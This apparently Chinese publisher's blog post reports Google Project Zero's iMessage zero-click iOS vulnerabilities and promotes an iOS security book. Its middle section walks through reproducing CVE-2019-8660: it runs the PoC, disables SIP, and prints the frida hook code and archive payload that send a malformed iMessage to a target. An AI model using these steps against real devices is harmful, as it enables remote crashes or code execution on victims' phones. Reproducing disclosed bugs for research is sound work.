“天之道,损有余而力不足,是故虚胜实,不足胜有余......”
公元 1206 年,武林中的几位侠客聚集华山,为一统武林展开了一场七天七夜的切磋,史称华山论剑。参赛选手阵势庞大,东邪黄药师、西毒欧阳锋、南帝段大师、北丐洪七公、中神通王重阳都亲临现场。而他们此次还有一个目的,就是争夺武林秘籍《九阴真经》的所有权。最后,王重阳得到了此资格,从此江湖平静了一阵子。
《九阴真经》为何物?它是影响三代江湖的武功秘籍。各路大侠都曾修炼过,虽没见谁练成,可都因为练它积攒了内力,从而开发研制了其他更上乘的武功招式。
当然,功力练得好,可以像郭靖一样练成降龙十八掌,从此人生开挂。如果练得不好就只能像梅超风一样,活生生把自己从好人练成了坏人,俗称“走火入魔”。所以,练功除了秘笈重要,也要用对方法。
几千年后的今年,华山论剑的场景变为了我们的写字间,而神功也已经不再是打打杀杀,是通过技术水平来刷新世界排位。
《九阴真经》的作者黄裳,为报当年之仇,隐居 40 多年,苦思破解敌人武功之道,最终成为高手。而如今,有这样一群人,为保自家程序稳定不受侵害,破解程序秘密,修复程序漏洞。这些就是我们的安全人士了。
谷歌就有这样的一个团队,叫做 Project Zero,专为第三方软件寻找漏洞。他们不是为了利用这些漏洞报复对方,相反他们要对三方软件开发商发出警告,以避免被恶意利用。这不,他们最近就发现了友商 iOS 的一些漏洞。
iOS 漏洞频发
据美国科技媒体报道,谷歌 Project Zero 安全团队的两名成员公布了影响 iOS 系统的 6 个“无交互”安全漏洞,并公布了其中 5 个安全漏洞的详细信息。
据报道,这 6 个“无交互”安全漏洞可以通过 iMessage 客户端发动攻击。早前苹果发布了 iOS 12.4 版本,修复了 6 个安全漏洞。可是其中一个“无交互”漏洞的细节此次并没有公布,是因为 iOS 12.4 补丁还没有完全解决问题。
这 6 个安全漏洞中的 4 个,可以无需用户交互即可在远程 iOS 设备上执行恶意代码。攻击者只要向受害者的手机发送一条“错误格式”的消息,一旦用户打开并查看接收到的项目,恶意代码就会被执行。
而第 5 个和第 6 个漏洞允许攻击者从设备内存中泄漏数据,并从远程设备读取文件,同样无需用户干预。
日前,据《福布斯》报道称,苹果公司将为安全研究人员提供特别版 iPhone,让他们去寻找 iOS 的 bug。苹果也将在黑帽安全会议上宣布这一消息。
一位消息人士称,这些设备本质上将是“开发设备”。这种 iPhone 与传统锁定的 iPhone 相比,能做更多的事情。例如,可能会探测到苹果操作系统中在商用 iPhone 上不易访问的部分。值得一提的是,这种特殊的设备可以让黑客停止处理器并检查内存中的漏洞。
外媒还称,苹果还将推出 Mac 赏金计划。这类似于 iOS 漏洞赏金,奖励在 MacOS 中发现漏洞的研究人员。
iOS 安全漏洞复现
既然被公布出来的漏洞这么凶猛,如何复现这些漏洞应该是大家都比较关注的问题。
CVE-2019-8660、 CVE-2019-8662、 CVE-2019-8647 这三个漏洞可以导致系统重启,或者任意代码执行。
CVE-2019-8646 这个漏洞可以导致任意文件读取,比如发送 iMessage 信息到目标机,可以获取到目标机的照片。
CVE-2019-8641 这个漏洞由于在最新的 12.4 系统上未修复,所以并未公布具体细节。其他 4 个漏洞已经在 12.4 修复。
首先我们以 CVE-2019-8660 为例复现漏洞,其他几个漏洞的复现方式类似。在测试之前,请打开 iOS 设备上的 iMessage 的消息接收。
方法是:点击设置 -> 信息 -> 打开 iMessage 信息开关。下面是复现漏洞的具体步骤:
(1) 安装 Python 3
brew install python3
(2) 安装 frida
pip3 install frida
(3) 下载并解压 POC,下载地址是:https://bugs.chromium.org/p/project-zero/issues/attachmentaid=398583&signed_aid=aRa647CnzpRUCj7nXIOEKA==。
(4) 将 sendMessage.py 里的 receiver 替换成目标邮箱地址。
#receiver = "YOUR EMAIL"
receiver = "[email protected]"
(5) 将 injectMessage.js 里的 obj 文件的路径填写成你本机的。
//var d = ObjC.classes.NSData.dataWith
ContentsOfFile_("PATH/obj");
var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");
(6) 需要关闭 SIP (System Integrity Protection,系统完整性保护)。
方法是重启按住 Commond + R 进入 recovery 模式,在实用工具里打开终端,输入 csrutil disable 即可禁用 SIP,然后重启进入正常模式。测试完漏洞之后别忘记打开 SIP,方法是:进入 recovery 模式,输入 csrutil enable。如果没有这一步操作,frida 注入进程可能会失败。
(7) 最后执行sendMessage.py发送iMessage,只要目标机接收到 iMessage 消息即可以触发漏洞,并不需要点击查看。
python3 sendMessage.py
触发漏洞的目标机重启之后,打开短信应用会闪退,原因是之前测试的那条带漏洞的 iMessage 消息还存在,会被短信应用加载,加载错误就闪退了。解决的方法是给目标机多发送几条正常的信息,这样会覆盖掉带漏洞的短信,然后在搜索栏输入关键字定位到有问题的短信,删除即可。
POC 的实现原理是使用 AppleScript 调用 MacOS 的信息应用对目标发送 iMessage 消息,其中使用frida对 jwencodedictionary_addr 函数进行 Hook,修改原始的消息体结构。在 injectMessage.js 里有构造带有漏洞的 iMessage 消息体的代码,核心代码如下:
console.log(dict); //打印原始正常的消息体
//对正常的消息体进行修改,构造带有漏洞的消息体
var newDict = ObjC.classes.NSMutableDictionary.dictionaryWithCapacity_(dict.count());
var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");
console.log(d); //打印obj文件
newDict.setObject_forKey_("com.apple.messages.MSMessageExtensionBalloonPlugin:0000000000:com.apple.mobileslideshow.PhotosMessagesApp", "bid");
newDict.setObject_forKey_(d, "bp"); //obj文件
// newDict.setObject_forKey_("com.apple.messages.URLBalloonProvider", "bid");
newDict.setObject_forKey_(8, "gv");
newDict.setObject_forKey_(0, "pv");
newDict.setObject_forKey_(1, "v");
newDict.setObject_forKey_("FAA29682-27A6-498D-8170-CC92F2077441", "gid");
newDict.setObject_forKey_(d, "bp");
newDict.setObject_forKey_("CB2F0B8D-84F6-480E-9079-27DA53E14EBD", "r");
newDict.setObject_forKey_(1, "v");
newDict.setObject_forKey_("\Ufffd\Ufffc", "t");
args[0] = newDict.handle;
替换的iMessage消息体会放入obj文件,obj文件里有一个 NSKnownKeyDictionary1 对象,正是因为解析 NSKnownKeyDictionary1 对象时引发问题造成的漏洞的触发。
<dict>
<key>$classes</key>
<array>
<string>NSDictionary</string>
<string>NSObject</string>
</array>
<key>$classname</key>
<string>NSKnownKeysDictionary1</string>
</dict>
<dict>
<key>$classes</key>
<array>
<string>NSKnownKeysMappingStrategy1</string>
<string>NSObject</string>
</array>
<key>$classname</key>
<string>NSKnownKeysMappingStrategy1</string>
</dict>
<string>i am very long indeed</string>
<dict>
上面的 obj 文件实际上是 Archive (归档)文件, 通过 NSKeyedArchiver 里的方法可以构造 Archive 文件,示例如下:
NSDictionary* obj = @{@"testKey": @"testValue", @"testArray":@[@100, @200, @300], @"testDict":@{@"dictKey":@"dictValue"}};
NSData* data = [NSKeyedArchiver archivedDataWithRootObject:obj requiringSecureCoding:true error:&err];
if (!data) {
NSLog(@"Error: %@", err);
return;
}
[data writeToFile:@"/Users/exchen/Downloads/archive_test" atomically:YES];
iMessage的消息内容是在 sendMessage.py,我们可以替换 REPLACEME 发送自定义的消息,
subprocess.call(["osascript", "sendMessage.applescript", receiver, "REPLACEME"]
然后在 injectMessage.js 中也需要将 REPLACEME 保持和自定义的消息内容一致。
if (t == "REPLACEME")
不知道你都看懂了吗?
iOS 安全界的《九阴真经》
苹果公司自建立这套封闭的生态圈以来,所有的应用都必须从 App Store 上下载。在这个平台上,每天都有几千个应用遭遇下架,不少公司都因为上架问题而焦头烂额。这个封闭的生态圈堪称苹果公司设计的“监狱”。
苹果手机越狱之后,不仅有机会脱离封闭的限制,还能挖掘出更多的玩法,从而形成一个新的生态圈。比如,不少人都希望一台手机能模拟出多台设备的环境,但是目前为止还没有一款 iOS 虚拟机,越狱之后可以对系统 API 进行 hook ,对沙盒文件进行修改,应用获取到的都是修改后的数据。这对于应用来说,达到了虚拟机的效果。
本书讨论的正是这个新的生态圈会有什么样的安全问题,又如何去解决它们。是每个安全人士变强路上不可获取的武林内力。
资深安全专家十年磨一剑,
助你“功力大增”的武林秘笈
扫一扫,京东购
《九阴真经:iOS黑客攻防秘籍》
作者:陈德
本书从越狱环境的开发与逆向相关工具的基本内容讲起,涉及汇编基础、动态调试、静态分析、注入与 hook、文件格式等内容。还有应用破解与应用保护、隐私获取与取证、刷量与作弊、唯一设备 ID、写壳内幕等多个主题。由《黑客防线》技术月刊原总编辑孙彬与数字联盟 CTO 张宇平作序,获得圈内多位安全从业者倾力推荐, 立足系统,着眼安全,系统地学习 iOS 安全技术 。
作者简介
陈德,资深安全专家,软件安全研究员,陌陌安全团队成员。2007 年开始自学安全技术,精通安全领域多方面技术。
个人作品有 eXfaker、FileMonitorKit 和 SystemKit 等,其博客地址为:http://www.exchen.net。
本书赞誉
“拿到手就能用,这本书做到了。用我们一般程序员甚至刚上手想当码农吃吃青春饭的人的角度来看,本书在技术上削平了认知壁垒。”
——孙彬
《黑客防线》技术月刊原总编辑
PS:一点小八卦
在文前致谢里看到作者的一段感人肺腑的文字,也祝愿天下奋斗在技术路上的人儿都能有情人终成眷属。
文末畅聊
今天是七夕,首先祝福各位 Alice 和 Bob 们节日快乐。呐!单身狗们一样可以狂欢,因为我们有快乐水和书呀!欢迎小伙伴们留言说说使用手机时,你都曾遇到过哪些信息安全问题?也可以谈谈哪些让你印象深刻的武林秘笈。精选留言选出 5 位获得赠书,活动截至:2019.8.12。
推荐阅读:
8月书讯 | 像大师级程序员一样思考
程序员,勿让岁月偷走你年轻的秀发!
看懂了这套书,你就看懂了程序的灵魂。
参考资料:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1884
https://bugs.chromium.org/p/project-zero/issues/detail?id=1874
https://bugs.chromium.org/p/project-zero/issues/detail?id=1873
https://bugs.chromium.org/p/project-zero/issues/detail?id=1858
☟☟ 图灵安全书单